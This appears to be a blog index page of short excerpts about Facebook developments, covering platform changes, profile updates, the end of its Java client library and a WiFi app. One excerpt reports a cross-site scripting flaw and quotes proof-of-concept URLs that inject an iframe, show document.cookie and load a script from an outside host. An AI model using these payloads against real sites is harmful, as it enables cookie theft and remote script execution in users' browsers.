Facebook as decided to suspend applications like Google’s Friends Connect and MySpace’s Data Availability “to access to Facebook user information until it comes into compliance” announced Charlie Cheever on this 15 of May.
Charlie also added:
“We think MySpace’s Data Availability, Google Friend Connect, and Facebook Connect can be part of a great movement in the industry […]
This new vulnerability uses a XSS (Cross-Site Scripting) technique to obtain sensitive information from Facebook users and even allows to execute malicious script code on the user computer.
xssed.com who announced (author: Mox) that vulnerability give you good samples of how it works.
Redirection sample:
http://www.xssed.com/mirror/34274/
or
Insertion in a hidden iframe:
http://www.facebook.com/jobs/position.php?st=%22%3E%3Ciframe%20src=http://xssed.com%3E%3C/iframe%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
http://www.facebook.com/jobs/position.php?st=%3CSCRIPT%20SRC=//ha.ckers.org/.j%3E
According to Dimitris Pagkalos from xssed.com:
“I’m quite sure there […]
Facebook development is still in ebullition.
After the previous announcement of Facebook profile improvements in February, some of these improvements where confirmed last week.
These confirmed improvements concern:
1/ New feed stories: feed tab is front-and-center on users’ profiles (feed stories is going to continue to be a primary way users express themselves), three sizes of stories […]
Since yesterday, Facebook does not support the official JCL anymore.
James Leszczenski wrote:
“…,there has a great deal of enthusiasm regarding Platform application development in a huge array of programming languages, resulting in the creation of numerous unofficial client libraries.”
and “To this end, we have decided to discontinue support for our official Java client library, and […]
Technology becomes more and more powerful for our best pleasure. We pay for it so we deserve it. After the apparition of GSM, Internet, GPS, … now there is even better and just for free.
If you have an iPhone or a WiFi PDA, combined with your Facebook account and the WeFi application,this will let […]